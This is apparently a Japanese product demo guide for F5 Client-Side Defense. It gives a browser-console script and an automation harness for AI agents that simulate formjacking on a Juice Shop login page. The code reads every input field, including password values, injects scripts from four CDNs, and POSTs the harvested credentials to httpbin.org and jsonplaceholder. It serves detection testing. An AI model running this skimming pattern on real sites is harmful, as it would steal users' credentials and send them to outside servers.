コンテンツにスキップ

トリガー検出

CSD はブラウザ内の JavaScript の動作を監視します。WAF や Bot 標準防御とは異なり、curl コマンドで CSD の検出をトリガーすることはできません — 実際のブラウザ側のスクリプトアクティビティが必要です。以下の統合スクリプトは、1 回の実行で CSD の 3 つの検出シグナルすべてをトリガーします: フォームフィールドの収集、複数の CDN ドメインからのサードパーティスクリプト注入、および外部エンドポイントへのデータ漏洩です。

統合シミュレーションスクリプトの実行

Section titled “統合シミュレーションスクリプトの実行”
  1. https://botdemo.sales-demo.f5demos.com/#/login にある Juice Shop のログインページに移動します

  2. フォームフィールドにダミーの認証情報を入力します — Email フィールドに test@example.comPassword フィールドに P@ssword123 と入力します(フォームは送信しないでください)

  3. DevTools を開きます(F12Console タブ)

    Empty DevTools Console ready for script inputEmpty DevTools Console ready for script input
  4. 以下のスクリプトをコンソールに貼り付けて Enter を押します — 即時実行関数として自動的に実行されます

    Combined Detection Script
    // CSD Demo — Combined Detection Script
    // Triggers ALL CSD detection signals: field reads, script injection, exfiltration
    (function() {
    console.log('='.repeat(50));
    console.log('[CSD Demo] Combined Detection Script — Starting');
    console.log('='.repeat(50));
    // Phase 1: Harvest all form fields (CSD tracks field reads on page-load DOM fields)
    console.log('\n[Formjack] Phase 1: Form field harvesting');
    var inputs = document.querySelectorAll('input');
    var harvested = {};
    inputs.forEach(function(input) {
    var name = input.name || input.id || input.type;
    harvested[name] = input.value || '(empty)';
    });
    console.log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
    // Phase 2: Inject third-party scripts from 4 CDN domains
    console.log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
    var cdns = [
    { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
    { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
    { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
    { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
    ];
    cdns.forEach(function(cdn) {
    var script = document.createElement('script');
    script.src = cdn.url;
    script.onload = function() {
    console.log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);
    };
    script.onerror = function() {
    console.log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url);
    };
    document.head.appendChild(script);
    console.log('[Supply Chain] Injected script tag: ' + cdn.name);
    });
    // Phase 3: Exfiltrate harvested data to external endpoints
    console.log('\n[Exfil] Phase 3: Data exfiltration');
    var payload = JSON.stringify({
    type: 'combined_demo',
    credentials: harvested,
    page: window.location.href,
    timestamp: Date.now()
    });
    fetch('https://www.httpbin.org/post', {
    method: 'POST',
    mode: 'no-cors',
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to www.httpbin.org');
    });
    fetch('https://jsonplaceholder.typicode.com/posts', {
    method: 'POST',
    mode: 'no-cors',
    headers: { 'Content-Type': 'application/json' },
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to jsonplaceholder.typicode.com');
    });
    // Summary
    console.log('\n' + '='.repeat(50));
    console.log('[CSD Demo] Simulation complete');
    console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
    console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (4 CDN domains)');
    console.log('[CSD Demo] Exfil channels: 2 (fetch POST)');
    console.log('[CSD Demo] Detection takes 5-10 minutes to appear in the CSD console.');
    console.log('='.repeat(50));
    })();
  5. 各ステップ(フィールドの収集、4 つの CDN ドメインからのスクリプト注入、データ漏洩)を確認するフェーズ別の [CSD Demo] コンソール出力を確認します。esm.sh は ES モジュール構文(export default …)を提供します — 従来の <script> タグとして読み込まれると Uncaught SyntaxError: Cannot use import statement outside a module が発生します。これは想定される動作であり、CSD の検出には影響しません(スクリプトタグは引き続き注入され、ネットワークリクエストは引き続き行われます)

    Console output after running the simulation scriptConsole output after running the simulation script

ブラウザ自動化ツール(MCP Chrome DevTools、Playwright、Puppeteer)を持つ AI アシスタントは、上記の手動手順の代わりにプログラム的にシミュレーションを実行します:

  1. initScript でナビゲート — クリーンなドキュメントコンテキストを確保するために最初に about:blank に移動し、次にログインページ URL(例: http://$F5XC_DOMAINNAME/#/login)に navigate_page します。その際、zone.js がパッチを適用する前にネイティブの setIntervalclearIntervalfetchconsole.log を保存し、ログインフォームフィールドをポーリングし、ネイティブの HTMLInputElement.prototype.value セッターを通じて認証情報を入力し、統合検出スクリプトをインラインで即座に実行する initScript を使用します。以下の verbatim initScript を使用してください。
  2. ウェルカムバナーを閉じるEscapepress_key してウェルカムバナーを閉じます。2 回目以降のアクセスではバナーが表示されない場合があります(Cookie が保持されています)
  3. 完了を待機 — すべての CDN スクリプトの読み込み/エラーコールバックと fetch の Promise 解決が完了するまで 10 秒待機します
  4. 証拠を収集list_console_messages[CSD Demo] Simulation complete を確認し、list_network_requestsscript および fetch タイプでフィルタリングして HTTP ステータスコードを確認します

initScript ハーネス(verbatim — 自動実行用に統合検出スクリプトをラップ):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('input[type="email"]');
var passEl = document.querySelector('input[type="password"]');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

ネイティブ fetch に関する注意: このハーネスは zone.js エラーを回避するために window.fetch.bind(window) を保存します。これはすべての攻撃シミュレーションフェーズにおける正しい動作です。CSD の緩和策は fetch() 呼び出しではなく、スクリプトの読み込み(<script> タグの src 値をクリアすることによって)をブロックするため、ネイティブの fetch 参照を保存しても緩和動作には影響しません。同じ initScript がフェーズ 2 とフェーズ 3 でも使用されます。

ブラウザ自動化ツールをお持ちでない場合は、上記の手動手順をご利用ください。

統合シミュレーションは CSD の 3 つの検出シグナルすべてをトリガーします:

動作スクリプトの内容CSD が検出するもの
フィールドの収集既存の input 要素(email、password)から値を読み取りますセンシティブなフォームフィールドを読み取るスクリプト — 高リスクとしてフラグ付け
スクリプト注入cdn.jsdelivr.netesm.shunpkg.comga.jspm.io から読み込む 4 つの <script> タグを追加しますページ上の 4 つの新しいサードパーティスクリプトドメイン
データ漏洩fetch を使用して収集したデータを www.httpbin.orgjsonplaceholder.typicode.com に送信します外部ドメインへのネットワーク呼び出し(注意: fetch の宛先はネットワークドメインビューではなく、スクリプトネットワークインタラクションとして表示されます)

上記の統合スクリプトは、ほとんどのデモに適した簡略化された 3 フェーズ版(収集、注入、漏洩)です。攻撃スクリプトライブラリでは、攻撃タイプ別に整理された 10 の対象スクリプトが提供されており、統合スクリプトのカバレッジに加えて DOM 操作、Cookie 漏洩、画像ビーコンチャネルを追加する最大検出ストレステストも含まれています。個別のスクリプトを使用して、特定の攻撃カテゴリ(フォームジャッキング、デジタルスキミング、サプライチェーン注入、データ漏洩、DOM 操作)を個別にデモンストレーションしてください。